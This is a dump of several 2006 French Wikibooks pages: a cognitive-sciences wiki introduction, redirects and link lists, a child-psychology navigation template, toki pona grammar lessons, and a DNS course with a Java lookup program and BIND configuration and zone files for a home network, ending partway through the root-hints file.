vulgarisation en permettant de trouver facilement des références sur divers domaines des Sciences-Cognitives. Mais ça peut être utiliser pour les chercheurs cherchant des références générals sur des domaines qu'ils connaissent mals. == Annuaire des Sciences Cognitives == Il peut être vu comme un annuaire très détaillé et ne n'hésiter pas à mettre des liens intéressant que vous trouver au fils de vos recherche. Si vous n'avez pas le temps de les commenter, vous pouvez les mettre, dans l'ordre alphabétique, dans une section "liens en vrac" composée de liens parlant du sujet mais pas forcément vérifiés. == Actualité et culture == Ce wiki a aussi pour but de pouvoir faire le lien avec des faits d'actualités ou culturels notament grâce à des commentaires et réflexions sur des romans ou livres de science fiction liés à l'évolution, l'intelligence, la robotique, la société ... == Questions-réponses == La partie question-réponse permet de poser des questions et de donner des éléments des éléments ou références pour répondre à des questions déjà posées. = Organisation = == Structure == Pour éviter le problème de définir des classifications entre notions toutes très liées par thèmes (émotion, motivation, action, perception) ou par disciplines (neurosciences, psychologie, philosophie, informatique ...) ce qui fausserait l'approche multidisciplinaire des sciences cognitives, l'organisation dépendra de du genre de question que l'on se pose (lié à l'évolution, à des pathologies, à des problèmes de sociétés). == Définition des notions == Dans chaque partie, le classement des sections (notions) est alphabétique. L'idée est d'avoir de nombreuses petites sections non ordonnées (si ce n'est par ordre alphabétique) ce qui facilite l'ajout d'une section car on a pas trop à réfléchir d'où la mettre. Chaque section renvoie à une page plus détaillé de la notion, mais quelques lignes de présentation doivenet être sur la page principale. L'idée est d'être précis sur ce que l'on va trouver dans chaque page et surtout d'éviter une hiérarchisation trop profonde (Chaque notion doit être sur la page principale). == Discussion sur la strucutre == Bien sure, une structuration est toujours arbitraire et il faut finir par faire un choix dont on pourra discuter de la pertinance dans la page de [[Discuter:Sciences_cognitives|discussion]]. SC 8177 41093 2006-04-27T23:57:32Z Greudin 1 [[SC]] déplacé vers [[Sciences cognitives]]: convention typo fr #REDIRECT [[Sciences cognitives]] Evolution humaine 8181 41116 2006-04-28T12:43:14Z Arnaud Blanchard 1367 [[Evolution humaine]] déplacé vers [[SC/Evolution humaine]]: Pour qu'il y ait le livre (SC) auquel l'article appartient #REDIRECT [[SC/Evolution humaine]] SC/évolution en générale 8182 41148 2006-04-28T19:40:39Z Arnaud Blanchard 1367 = Simulations = == Framesticks == * [http://www.frams.alife.pl/findex.html Framsticks, la vie artivficielle] Simulateur et jeu, très intéressant. == Spore == Jeu créé par l'autheur des Sims basé sur l'évolution de la bactérie à la conquête des galaxies. Attention c'est une fausse vision de l'évolution puisqu'elle n'est pas liée au hasard, mais à la planification du joueur. * [http://www.spore.com www.spore.com] Site officiel du jeu. * [http://www.automatesintelligents.com/art/2006/mar/spore.html Article] de [http://www.automatesintelligents.com automates intelligents] avec une vidéo de démonstration intéressante. Locatif 8183 41164 2006-04-29T13:26:54Z 80.12.159.249 Plebs a patribus opprimitur quia multi cives, dum foris adversus hostes pugnant, domi aes alienum faciunt. Catégorie:Droit administratif 8184 41187 2006-04-29T15:40:29Z Pseudomoi 395 {{Article principal|[[Droit administratif]]}} *Voir aussi : [[w:Catégorie:Droit administratif|Wikipédia:Droit administratif]] [[Catégorie:Droit|Administratif]] SC/Développement de la vie 8186 41416 2006-05-02T14:53:16Z Arnaud Blanchard 1367 /* Liens en vrac */ = Auto-organisation = * [http://college-heraclite.ifrance.com/documents/definitions/auto-organisation.htm Définition] de l'auto-organiosation de l'institut Heraclite. = Autopoïèse = * [http://www.exobio.cnrs.fr/article.php3?id_article=41 Article] d'exobiologie (étude de la vie extraterrestre) du CNRS. = Liens en vrac = * [http://ilkeangela.homestead.com/files/index/varela.htm Biographie] de Francisco Varela ayant défini et utilisé ces notions. * [http://college-heraclite.ifrance.com Institut Heraclite], institut de la complexité et de l'organisation. * [http://www.exobio.cnrs.fr GDR Exobiologie], laboratoire du CNRS sur la vie extraterestre. Modèle:Psychologie de l'enfant et de l'adolescent 8187 41220 2006-04-29T17:26:10Z Pseudomoi 395 <noinclude> <!-- N'insérer AUCUN blanc ou saut de ligne avant < noinclude > ou après < /noinclude >. --> Ce modèle permet de relier les pages du wikilivre '''[[psychologie de l'enfant et de l'adolescent|Psychologie de l'enfant et de l'adolescent]]'''. Vous pouvez l'utiliser, généralement à la fin d'un article, en indiquant : {{[[Modèle:Psychologie de l'enfant et de l'adolescent|Psychologie de l'enfant et de l'adolescent]]}} Normalement toutes les pages liées au sujet devraient contenir ce modèle. == Rendu dans les articles == </noinclude>{| width="80%" align="center" style="margin: 0 0 1em 1em; background-color:#FFF9E5; padding:5px; border:1px solid #003399" |+ | bgcolor="#FFECB2" style="text-align:center; color:black" | '''[[Psychologie de l'enfant et de l'adolescent|Psychologie de l'enfant et de l'adolescent]]''' | bgcolor="#F2FFE5" style="text-align:right" | <small> [[Introduction (Psychologie de l'Enfant et de l'Adolescent)|Introduction]] | [[Conclusion (Psychologie de l'Enfant et de l'Adolescent)|Conclusion]] <code>[</code>[[Modèle:Psychologie de l'enfant et de l'adolescent|Modifier]]<code>]</code></small> |---- | colspan="2" style="text-align:left" | L'enfance : un concept au carrefour des sciences&nbsp;:<br/> <small> [[L'Enfance et l'Histoire (Psychologie de l'Enfant et de l'Adolescent)|L'Enfance et l'Histoire]]&nbsp;- [[L'Enfance et la Sociologie (Psychologie de l'Enfant et de l'Adolescent)|L'Enfance et la Sociologie]]&nbsp;- [[L'Enfance et le Droit (Psychologie de l'Enfant et de l'Adolescent)|L'Enfance et le Droit]]&nbsp;- [[L'Enfance et les Théories de la Communication (Psychologie de l'Enfant et de l'Adolescent)|L'Enfance et les Théories de la Communication]].</small> |---- | colspan="2" | ---- |---- | colspan="2" style="text-align:left" | L'Enfance dans l'Histoire et la Méthodologie de la Psychologie&nbsp; :<br/><small> [[La Psychologie expérimentale (Psychologie de l'Enfant et de l'Adolescent)|La Psychologie expérimentale]]&nbsp;- [[La Psychologie clinique (Psychologie de l'Enfant et de l'Adolescent)|La Psychologie clinique]].</small> |---- | colspan="2" | ---- |---- | colspan="2" style="text-align:left" | Approches Psychologiques de l'Enfant&nbsp; :<br/><small>[[Observation de l'Enfant (Psychologie de l'Enfant et de l'Adolescent)|Observation de l'Enfant]]&nbsp;- [[Le Jeu chez l'Enfant (Psychologie de l'Enfant et de l'Adolescent)|Le Jeu chez l'Enfant]]&nbsp;- [[La Reconstruction par Les Psychanalystes (Psychologie de l'Enfant et de l'Adolescent)|La Reconstruction par Les Psychanalystes]].</small> |---- | colspan="2" | ---- |---- | colspan="2" style="text-align:left" | Le Concept de «Stade de Développement» en Psychologie Génétique&nbsp;:<br/><small> [[Problèmes Généraux (Psychologie de l'Enfant et de l'Adolescent)|Problèmes Généraux]]&nbsp; - [[Le Débat Continuité-Discontinuité; Équilibre-Déséquilibre (Psychologie de l'Enfant et de l'Adolescent)|Le Débat Continuité-Discontinuité; Équilibre-Déséquilibre]]&nbsp;- [[Le Problème de la différenciation et de l'intégration (Psychologie de l'Enfant et de l'Adolescent)|Le Problème de la différenciation et de l'intégration]].</small> |---- | colspan="2" | ---- |---- | colspan="2" style="text-align:left" | Apports Théoriques de la Psychologie Génétique&nbsp;: <small>- [[Désignations stellaires]]&nbsp;- [[ Désignation d'étoiles variables]]&nbsp;- [[Désignation de Bayer]]&nbsp;- [[Désignation de Flamsteed]]&nbsp;- [[Liste des étoiles les plus brillantes]]&nbsp;- </small> |---- | colspan="2" | ---- |---- | colspan="2" style="text-align:left" | Applications de la Psychologie Génétique&nbsp;:<small>- [[Désignations stellaires]]&nbsp;- [[ Désignation d'étoiles variables]]&nbsp;- [[Désignation de Bayer]]&nbsp;- [[Désignation de Flamsteed]]&nbsp;- [[Liste des étoiles les plus brillantes]]&nbsp;- [[Liste d'étoiles proches]]</small> |---- | colspan="2" | ---- |---- | colspan="2" style="text-align:left" | Voir aussi&nbsp;: <small>[[Lexique (Psychologie de l'Enfant et de l'Adolescent)|Lexique]]&nbsp;- [[Index des mots-clés (Psychologie de l'enfant et de l'adolescent)|Mots-clés]]&nbsp;- [[Index des noms propres cités (en marge) (Psychologie de l'enfant et de l'adolescent)|Noms propres cités]]&nbsp;- [[Annales et corrigés faits par l'auteur (Psychologie de l'enfant et de l'adolescent)|Annales et corrigés]]&nbsp;- [[Répertoire des questions (Psychologie de l'Enfant et de l'Adolescent)|Répertoire des questions]]&nbsp;- [[Psychologie]]&nbsp;- [[Bibliographie (Psychologie de l'Enfant et de l'Adolescent)|Bibliographie]]</small> |---- |}<noinclude>[[Catégorie:Psychologie de l'enfant et de l'adolescent|!{{SUBPAGENAME}}]]</noinclude> <includeonly>[[Catégorie:Psychologie de l'enfant et de l'adolescent|{{PAGENAME}}]]</includeonly> Catégorie:Psychologie de l'enfant et de l'adolescent 8188 41217 2006-04-29T17:23:48Z Pseudomoi 395 [[Catégorie:Science]] Locomotion 8189 41230 2006-04-29T17:50:10Z Arnaud Blanchard 1367 [[Locomotion]] déplacé vers [[SC/Locomotion]]: Nouvelle convention avec le nom du livre assovié #REDIRECT [[SC/Locomotion]] Chimie organique I/Rétro-synthèse 8192 43476 2006-05-30T09:42:38Z 213.41.1.222 La [[rétro-synthèse]] représente sur le papier la [[stratégie]] déployée pour synthétiser une molécule, à partir des [[molécules précurseurs]] souvent bon-marché, en plusieurs étapes. Les réferences suivantes explique dans le détail la rétro-synthèse. [http://membres.lycos.fr/jjww/resolution.htm][http://www.uea.ac.uk/~c286/notes/retrosynthesis.htm] Chimie organique I/Mécanismes des réactions 8193 41271 2006-04-30T10:25:40Z 86.194.102.141 /* Introduction */ ==Introduction== Dans cette partie nous verons les principaux mécanismes en synthèse organique. L'exercice de trouver un mécanisme à la réaction utilisée dans une synthèse est d'une grande importance pour concevoir par la suite rapidement une [http://fr.wikibooks.org/wiki/Chimie_organique_I/Rétro-synthèse rétro-synthèse] d'une molécule complexe. Toki pona - Introduction 8194 41282 2006-04-30T11:14:29Z Tensai 654 [[Toki pona - Introduction]] déplacé vers [[Enseignement du toki pona]] #REDIRECT [[Enseignement du toki pona]] Toki pona - Leçon 6: Autres prépositions 8195 41286 2006-04-30T11:28:29Z Tensai 654 {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} ==Vocabulaire== *'''anpa''' - sol; bas, profond; baisser, vaincre *'''insa''' - intérieur, estomac *'''monsi''' - arrière, derrière, dos *'''sewi''' - haut, dessus, toit, ciel *'''sama''' - identique, similaire *'''poka''' - côté; à côté, proche, en compagnie de *'''tan''' - origine, cause, provenance; parce que, à cause de, de ==''anpa'', ''insa'', ''monsi'' et ''sewi''== Bien que ces mots ne soient pas des prépositions, on peut fabriquer des quasi-prépositions en les combinant avec une préposition comme lon ou tawa. * '''ona li lon sewi mi.''' - Il est dans mon dessus = Il est au dessus de moi. * '''pipi li lon anpa poki.''' - L'insecte est sous le panier. * '''moku li lon insa mi.''' - La nourriture est à l'intérieur de moi. * '''len li lon monsi mi.''' - Les vêtements sont derrière moi / sur mon dos. Ici ''sewi'' est bien un nom, et ''mi'' joue le rôle de pronom possessif. ''sewi mi'' signifie ''mon dessus'' ou ''la zone au dessus de moi''. Puisque ''sewi'' est simplement un nom, il faut un verbe et une préposition, ici ''lon''. N'oubliez pas le verbe! Par ailleurs, ces mots peuvent être utilisés comme nom/verbe/adjectif. * '''ona li anpa e jan utala.''' - Il a vaincu le guerrier. * '''monsi mi li pakala.''' - J'ai mal au dos * '''insa mi li seli.''' - Mon ventre est chaud / J'ai de la fièvre. ==''sama''== ''sama'' est un préposition, un nom et un adjectif. * '''jan ni li sama mi.''' - Cette personne est comme moi. * '''sama li ike.''' - L'égalité est mauvaise. * '''ona li lukin sama pipi.''' - Il ressemble à un insecte. ==''tan''== ''tan'' est une préposition indiquant la provenance ou la raison d'un acte. Nous verrons d'autres usages de cette préposition dans les leçons ultérieures. * '''ona li kama tan ma sina.''' - Il arrive de ton pays. * '''mi moku tan ni: mi wile moku.''' - Je mange parce que ceci : je veux manger = Je mange parce que j'ai faim. ==''poka''== ''poka'' est une préposition, un nom et un adjectif. ===''poka'' comme nom/adjectif=== C'est le même usage que pour ''anpa'', ''insa'', ''monsi'' et ''sewi"". Exemples : * '''ona li lon poka mi.''' - Il est à mon côté = Il est à côté de moi. * '''jan poka''' - quelqu'un qui est à côté de soi = voisin * '''poka telo''' - côté de l'eau = la berge, la plage. ===poka comme préposition=== À la différence de ''anpa'' et consorts, ''poka'' s'emploie également directement comme préposition. Ces deux phrases ont la même signification : * '''jan pona mi li moku poka mi.''' - Mon ami mange à-côté-de moi. * '''jan pona mi li moku lon poka mi.''' - Mon ami mange à mon côté. Notez que ''poka'' indique une notion de participation, et peut se traduire par ''avec'' ou en compagnie de''. Attention à ne pas confondre ''poka'' et ''kepeken'' (''avec'' ou ''au moyen de'') : * '''mi wile utala e jan ike poka sina.''' - Je veux combattre l'ennemi avec toi. * '''mi wile utala e jan ike kepeken kiwen.''' - Je veux combattre l'ennemi avec des cailloux. Toki pona - Leçon 7: Négations et questions simples 8196 41793 2006-05-08T19:27:03Z Tensai 654 [[Toki pona - Leçon7: Négations et questions simples]] déplacé vers [[Toki pona - Leçon 7: Négations et questions simples]] {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} ==Vocabulaire== *'''ala''' - non, aucun; rien *'''ale''', '''ali''' - tout, tous *'''ken'''- pouvoir(verbe), être capable de; possibilité *'''lape''' - dormir; repos *'''musi''' - amuser, jouer; jeu, divertissement *'''pali''' - faire, fabriquer, travailler; acte, activité, travail *'''sona''' - connaître, savoir; connaissance, sagesse *'''wawa''' - fort, intense; énergie, puissance ==Négation== En toki pona on exprime la négation et ajoutant le mot ''ala'' après le verbe. * '''mi lape ala.''' - Je ne dors pas. * '''mi musi ala.''' - Je ne m'amuse pas. * '''mi wawa ala.''' - Je ne suis pas fort. * '''mi wile ala tawa musi.'' - Je ne veux pas danser. (''tawa musi'' signifie mot à mot quelque chose comme ''bouger de manière amusante''. Cela signifie ''danser''.) Bien entendu les phrases avec ''ala'' peuvent souvent être traduites de nombreuses façons, puisqu'il y a souvent en français deux mots pour une chose et son contraire. Par exemple, ''mi musi ala'' peut aussi se traduire par ''je m'ennuie''; ''mi wawa ala'' par ''je suis faible''. ''ala'' peut aussi être utilisé en complément du nom comme un adjectif. * '''jan ala li toki.''' - Personne ne parle * '''toki ala li ken toki e ijo.''' - L'absence de mots peut exprimer quelque chose ''ala'' peut même être utilisé comme un pronom, et dans ce cas il signifie ''rien'' (on évite donc de dire ''ijo ala'' qui signifie la même chose mais est moins élégant). * '''ala li jaki.''' - Rien n'est sale ==ale/ali== ''ale'' et ''ali'' sont en fait le même mot avec deux prononciations différentes. Initialement il y avait juste ''ale'' mais il se trouve que certains prononcent ''ala'' et ''ale'' presque de la même façon, et c'est pourquoi ''ali'' a été introduit. Les deux variantes ''ale'' et ''ali'' co-existent pour l'instant, avec peut-être une légère préférence pour ''ali'' qui est la variante retenue pour ces leçons. ale/ali, comme adjectif et pronom, s'emploie de la même façon qu'''ala'', et signifie ''tout'', ''tous''. * '''jan ali li wile tawa.''' - Tout le monde veut voyager. * '''ma ali li pona.''' - Tous les pays sont bons. * '''ali li pona.''' - Tout est bien (proverbe de toki pona). ==Questions simples== Pour poser une question à laquelle on peut répondre par oui ou par non, on utilise une structure particulière. Voyons sur un exemple : * '''sina pona ala.''' - Tu n'es pas bien. * '''sina pona.''' - Tu es bien. * '''sina pona ala pona?''' - Es-tu bien? (littéralement: « toi pas-bien bien? ») Pour poser une question simple comme celle-là, il faut dire le verbe, puis ''ala'', puis répéter le verbe et enfin finir la phrase. Voici d'autres exemples : * '''suno li suli ala suli?''' - Est-ce que le soleil est grand? * '''len sina li telo ala telo?''' - Tes vêtements sont-ils mouillés? * '''tomo tawa sina li pakala ala pakala?''' - Ta voiture est-elle cassée? * '''sina ken ala ken lape?''' - peux-tu dormir? * '''ona li lon ala lon tomo?''' - Est-il dans la maison? * '''ona li tawa ala tawa ma ike?''' - Est-il allé à la mauvaise terre? * '''sina pana ala pana e moku tawa jan lili?''' - Donnes-tu à manger à l'enfant? * '''pipi li moku ala moku e kili?''' - Est-ce que les insectes mangent les fruits? ==Réponses== Pour répondre à une telle question on répète le verbe suivi ou non d'''ala'' selon que la réponse est négative ou positive : * '''sina wile ala wile moku?''' - Veux-tu manger? **'''wile''' - Oui. ou **'''wile ala''' - Non. * '''sina lukin ala lukin e kiwen?''' - Vois-tu le rocher? **'''lukin''' - Oui. **'''lukin ala''' - Non. * '''sina sona ala sona e toki mi?''' - Comprends-tu ce que je dis? ** '''sona''' - Oui. ** '''sona ala''' - Non. Note : Dans le cas de verbes composés comme avec ''kama'' c'est bien le premier mot du verbe qui entre en compte. * '''sina kama ala kama sona e toki pona?''' - Apprends-tu le toki pona? **'''kama''' - Oui. **'''kama ala''' - Non. ==''tan'' comme substantif== ''tan'' utilisé comme un nom signifie ''origine'', ''cause''. * '''mi sona ala e tan.''' - Je ne connais pas la cause = Je ne sais pas pourquoi. * '''ona li pali e ni. sina sona ala sona e tan?''' - Sais-tu pourquoi il a fait cela? Main Page 8200 41337 2006-04-30T21:46:43Z 87.88.12.36 #REDIRECT[[Accueil]] Catégorie:Faculté de Mathématiques de la Wikiversité 8205 41408 2006-05-02T11:44:27Z WikiC 1349 Les cours de la faculté de Mathématiques. Système de noms de domaine 8207 46518 2006-06-29T17:18:08Z Teckel 1461 /* Livre */ {{ébauche}} {{Wikipédia|Domain Name System}} =Livre= '''Avertissement''' : l'auteur initial ne travaille pas dans le domaine du DNS. Ensuite le système du wiki ne permet pas de connaitre son évolution future. Donc le contenu est à prendre avec les précautions d'usage. {{Modèle:Système_de_noms_de_domaine}} [[Image:Crystal_mycomputer.png]] *[[Système de noms de domaine/Introduction|Introduction]]{{25}} *[[Système de noms de domaine/Le modèle hiérarchique|Le modèle hiérarchique]]{{25}} *[[Système de noms de domaine/Mise en oeuvre|Mise en oeuvre]]{{25}} *[[Système de noms de domaine/Extensions|Extensions]]{{25}} *[[Système de noms de domaine/Conclusion|Conclusion]]{{00}} Il est possible de faire quelques TP pour visualiser un peu plus concrètement comment fonctionne le DNS. Les se trouvent à la fin de ce cours. =Annexe A : liens avec wikipédia et wikibook= liens avec wikipédia : *[http://fr.wikipedia.org/wiki/BIND BIND] *[http://fr.wikipedia.org/wiki/ICANN L'ICANN] *[http://fr.wikipedia.org/wiki/Anycast Anycast] *[http://fr.wikipedia.org/wiki/Domain_Name_System DNS] *[http://fr.wikipedia.org/wiki/Domaine_de_premier_niveau TLD] *[http://fr.wikipedia.org/wiki/Serveurs_DNS_Racine Serveurs racine] *[http://fr.wikipedia.org/wiki/Liste_des_Internet_TLD liste des TLD] *[http://fr.wikipedia.org/wiki/Whois Whois] *[http://fr.wikipedia.org/wiki/DNSSEC DNSSEC] *[http://fr.wikipedia.org/wiki/Nom_de_domaine Nom de domaine] *[http://fr.wikipedia.org/wiki/Nom_de_domaine_internationalis%C3%A9 Nom de domaine internationalisé] *[http://fr.wikipedia.org/wiki/ENUM ENUM] *[http://fr.wikipedia.org/wiki/Network_Time_Protocol NTP] lien avec le chapitre concernant le DNS dans le cours de réseaux TCP/IP : *http://fr.wikibooks.org/wiki/Reseaux_TCP/IP_:_les_serveurs_DNS =Annexe B : Principaux RFC= En principe les RFC sont en anglais. Cependant, certains sont traduits en français. le site suivant propose la traduction certains http://abcdrfc.free.fr/ Il existe certainement plus de 114 RFC concernant le DNS. Le site http://www.dns.net/dnsrd/rfc rassemble une majorité des RFC concernés. Cependant cette liste n'est plus mise à jour. Les RFC historiques suivantes décrivent la situation avant la mise en place du DNS tel qu'on le connait actuellement soit avant 1983. * RFC 606 * RFC 608 * RFC 811 Les principes du DNS se trouvent dans les RFC 1034 et RFC 1035. Ils remplacent les RFC originaux RFC 882 et RFC 883. =Annexe C : Principaux sites= Blog *http://www.bortzmeyer.org/ Wiki *http://www.icannwiki.org/ (anglais) Formation *http://www.afnic.fr/doc/formations/supports autoformation à l'AFNIC Outils en ligne *Dig en ligne http://www.galacsys.net/?fmh=T3V0aWxz&fcf=b3V0aWxzX2RpZw== *Outils de calcul des dépendances http://www.dns.pl/cgi-bin/dnsexplorer.pl *Convertisseur punycode http://www.afilias.info/cgi-bin/convert_punycode.cgi *Convertisseur punycode http://www.nameisp.com/puny.asp *Zone-check de l'AFNIC http://www.zonecheck.fr/ *Nombreux outils http://dns-tools.domaintools.com/ Lexique en français *Lexique de l'AFNIC http://www.afnic.fr/doc/lexique/ Dictionnaire informatique *http://www.dicofr.com/ Organisations importantes *http://www.icann.org *http://www.iana.org *http://www.isc.org l'ISC maintient le logiciel BIND =Annexe D : Alternative le projet CoDoNS= Le projet CoDoNS http://www.cs.cornell.edu/people/egs/beehive/codons.php. Le principe de ce projet est de remplacer le système de serveur DNS en utilisant la technologie peer to peer. Ce projet reprend les annuaires distribués de certains réseaux pair à pair (ou peer to peer) pour l'appliquer au DNS. Dans ce modèle, on a une séparation complète entre l'espace de noms et la mise en oeuvre. Concrètement, l'annuaire utilise une "table de hachage distribuée" (voir l'article wikipédia [http://fr.wikipedia.org/wiki/Table_de_hachage_distribu%C3%A9e http://fr.wikipedia.org/wiki/Table_de_hachage_distribué]). Pour rappel le terme ''pair à pair'' désigne un modèle distribué où les entités appelées pairs jouent le double rôle de client et serveur et interagissent afin d'offrir à un communauté un service de manière décentralisée. Ces réseaux utilisent comme annuaire, soit des annuaires centralisés, soit une propagation par inondation, soit des annuaires basés sur des tables de hachage distribuées. =TP 1 : Programmation en java= La programmation java se base sur le package java.net.*. Voici un court programme en java effectuant une recherche d'adresse à partir d'un nom d'hôte, puis effectuant la recherche inverse. <pre> import java.net.*; public class Test1 { public static void main(String[] arg) { try { if(arg.length<1) System.out.println("Utilisation: java Test1 nom_hote\n"); else { InetAddress IPAddresse= InetAddress.getByName(arg[0]); System.out.println("Adresse IP : "+IPAddresse.getHostAddress()); InetAddress IPAddresse2= InetAddress.getByAddress(IPAddresse.getAddress()); System.out.println("Adresse Nom d'hote : "+IPAddresse2.getHostName()); } } catch (UnknownHostException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } </pre> <pre> L'usage sera : java Test1 nom_hote </pre> Il est naturellement possible de l'améliorer, notamment en ce qui concerne la gestion de l'erreur. =TP 2 : Utilisation simple de BIND sous Windows= BIND peut avec ses fichiers de configuration comme un peu archaïque. Mais finalement, c'est le serveur DNS libre pouvant fonctionner sous Windows. En plus, il est la référence pour ce genre de logiciel. Donc, il est le plus adapté pour ce TP. ==Installation de BIND sous Windows== Il est possible d'installer BIND sous Windows même sur les versions familiales de XP. Naturellement, il ne s'agit pas d'en faire un serveur de production, mais de manipuler concrètement les fichiers zones. BIND est disponible sur le site de ISC. Pour ce TP, je suis parti de la version 9.3.2, l'archive compressée ne fait que 2.18 Mo. En décompressant, l'archive on trouve un executable BINDInstall.exe qu'il faut lancer. L'installation va se faire dans le répertoire c:\Windows\System32\DNS (il peut toujours avoir des variantes suivant la version de Windows). Je conseille de pas cocher lors de l'installation BIND en tant que service "Start BIND Service after Install". Maintenant BIND installé, il faut pouvoir le démarrer. Il faut ajouter au "path" le répertoire de destination des binaires de BIND. Il comporte notamment dig.exe et named.exe. Ce chemin est probablement "C:\Windows\System32\DNS\bin". Pour l'ajouter au "path", il faut aller dans le panneau de configuration, choisir "système", aller dans l'onglet "avancé" et cliquer sur le bouton "variables d'environnement". A ce niveau, il faut ajouter à la fin du path "c:\Windows\System32\DNS\bin". A la fin de cette opération, en mode dos, les commandes dig et named doivent fonctionner. La commande named se plante au bout de quelques secondes. Pour voir la log du serveur, il faut le lancer avec l'option "-g" soit "named -g". La log indique qu'il manque des fichiers de configuration. ==Présentation du réseau== Par la suite, nous allons étudier un réseau simple d'un particulier ayant un fixe relié à l'Internet avec un boîtier du style "livebox" et un portable relié également à ce boîtier. Nous allons installer le serveur BIND sur le portable en tant que serveur primaire et sur le fixe en tant que serveur secondaire. Notre réseau se compose : *D'un fixe avec l'adresse ip 192.168.1.11 *D'un portable avec l'adresse ip 192.168.1.10 *Du boîtier avec l'adresse ip 192.168.1.1 L'objectif est de définir une zone tld1 et une zone sld1.tld1. ==Première configuration du primaire== Il faut créer dans le répertoire "C:\Windows\System32\DNS\etc", le fichier named.conf. Ce fichier contient la liste des zones et où les trouver. Pour commencer, nous allons simplement déclarer la zone "0.0.127.in-addr.arpa" qui permet d'associer à l'adresse 127.0.0.1, le nom "localhost". <pre> options { directory "c:/windows/system32/dns/etc/namedb"; // repertoire de travail }; //adresse 127.0.0.1 zone "0.0.127.in-addr.arpa" in { type master; file "db.127.0.0"; notify no; }; </pre> Maintenant, il faut définir le fichier zone "db.127.0.0". Dans le répertoire "c:/windows/system32/dns/etc/namedb". <pre> $TTL 3h 0.0.127.in-addr.arpa. IN SOA portable.tld1. postmaster.tld1. ( 1; numero de serie 1h; rafraichissement 3h; nouvel essai 1w; expiration 1h; ttl negatif ) 0.0.127.in-addr.arpa. IN NS portable.tld1. 1.0.0.127.in-addr.arpa. IN PTR localhost. </pre> A ce niveau, la commande named -g doit fonctionner correctement. ==Définition de la zone "tld1" sur le primaire== Cette zone se compose des éléments : *livebox, adresse 192.168.1.1, alias routeur *portable, serveur primaire, adresse 192.168.1.10, alias beau-portable *fixe, serveur secondaire, adresse 192.168.1.11, alias vieux-fixe On modifie le fichier named.conf pour ajouter la déclaration de la zone "tld1". <pre> options { directory "c:/windows/system32/dns/etc/namedb"; }; zone "0.0.127.in-addr.arpa" in { type master; file "db.127.0.0"; notify no; }; zone "tld1" in { type master; file "db.tld1"; notify yes; }; </pre> Et maintenant, il faut décrire notre zone "tld1" dans le fichier "db.tld1". Cette zone est composée d'un enregistrement SOA, de deux enregistrements déclarant les deux serveurs de noms, des adresses IP et enfin des alias. <pre> $TTL 3h tld1. IN SOA portable.tld1. postmaster.tld1. ( 1; numero de serie 1h; rafraichissement 3h; nouvel essai 1w; expiration 1h; ttl negatif ) tld1. IN NS portable.tld1. tld1. IN NS fixe.tld1. localhost.tld1. IN A 127.0.0.1 portable.tld1. IN A 192.168.1.10 fixe.tld1. IN A 192.168.1.11 livebox.tld1. IN A 192.168.1.1 beau-portable.tld1. IN CNAME portable.tld1. vieux-fixe.tld1. IN CNAME fixe.tld1. routeur.tld1. IN CNAME livebox.tld1. </pre> ==La zone "sld1.tld1" et délégation== Nous allons imaginer une zone "sld1.tld1" composée des éléments : *livebox, adresse 192.168.1.1 (le nom complet est livebox.sld1.tld1) *portable, serveur primaire, adresse 192.168.1.10 (le nom complet est portable.sld1.tld1) *fixe, serveur secondaire, adresse 192.168.1.11 (le nom complet est fixe.sld1.tld1) Il faut donc modifier le fichier zone "db.tld1" pour prendre en compte cette délégation. Il s'agit de déclarer les serveurs de noms pour la zone "sld1.tld1". <pre> $TTL 3h tld1. IN SOA portable.tld1. postmaster.tld1. ( 2; nouveau numero de serie 1h; rafraichissement 3h; nouvel essai 1w; expiration 1h; ttl negatif ) tld1. IN NS portable.tld1. tld1. IN NS fixe.tld1. localhost.tld1. IN A 127.0.0.1 portable.tld1. IN A 192.168.1.10 fixe.tld1. IN A 192.168.1.11 livebox.tld1. IN A 192.168.1.1 beau-portable.tld1. IN CNAME portable.tld1. vieux-fixe.tld1. IN CNAME fixe.tld1. routeur.tld1. IN CNAME livebox.tld1. sld1.tld1. IN NS portable.tld1. sld1.tld1. IN NS fixe.tld1. </pre> Le nouveau fichier de configuration "named.conf" comporte la déclaration d'une zone supplémentaire. <pre> options { directory "c:/windows/system32/dns/etc/namedb"; }; zone "0.0.127.in-addr.arpa" in { type master; file "db.127.0.0"; notify no; }; zone "tld1" in { type master; file "db.tld1"; notify yes; }; zone "sld1.tld1" in { type master; file "db.sld1.tld1"; notify no; }; </pre> Il faut maintenant définir le fichier zone "db.sld1.tld1", suivant la configuration de notre zone. <pre> $TTL 3h sld1.tld1. IN SOA portable.sld1.tld1. postmaster.tld1. ( 1; numero de serie 1h; rafraichissement 3h; nouvel essai 1w; expiration 1h; ttl negatif ) sld1.tld1. IN NS portable.sld1.tld1. sld1.tld1. IN NS fixe.sld1.tld1. localhost.sld1.tld1. IN A 127.0.0.1 portable.sld1.tld1. IN A 192.168.1.10 fixe.sld1.tld1. IN A 192.168.1.11 livebox.sld1.tld1. IN A 192.168.1.1 </pre> ==Ajout du lien avec la racine du DNS== Notre serveur répond bien aux requêtes correspondant aux éléments de notre réseau, mais il est incapable de répondre aux requêtes correspondant avec des éléments extérieurs. Nous allons ajouter un lien avec la racine du DNS. Le fichier named.conf devient : <pre> options { directory "c:/windows/system32/dns/etc/namedb"; }; zone "0.0.127.in-addr.arpa" in { type master; file "db.127.0.0"; notify no; }; zone "tld1" in { type master; file "db.tld1"; notify yes; }; zone "sld1.tld1" in { type master; file "db.sld1.tld1"; notify no; }; zone "." in { type hint; file "db.cache"; }; </pre> Il faut définir le fichier db.cache. Attention, il n'a pas de rapport avec la notion de cache du DNS. Son contenu est l'ensemble des serveurs racine et les adresses IP associées. <pre> . 518400 IN NS A.ROOT-SERVERS.NET. A.ROOT-SERVERS.NET. 3600000 IN A 198.41.0.4 . 518400 IN NS B.ROOT-SERVERS.NET. B.ROOT-SERVERS.NET. 3600000 IN A 192.228.79.201 . 518400 IN NS C.ROOT-SERVERS.NET. C.ROOT-SERVERS.NET. 3600000 IN A 192.33.4.12 . 518400 IN NS D.ROOT-SERVERS.NET. D.ROOT-SERVERS.NET. 3600000 IN A 128.8.10.90 . 518400 IN NS E.ROOT-SERVERS.NET. E.ROOT-SERVERS.NET. 3600000 IN A 192.203.230.10 . 518400 IN NS F.ROOT-SERVERS.NET. F.ROOT-SERVERS.NET. 3600000 IN A 192.5.5.241 . 518400 IN NS G.ROOT-SERVERS.NET. 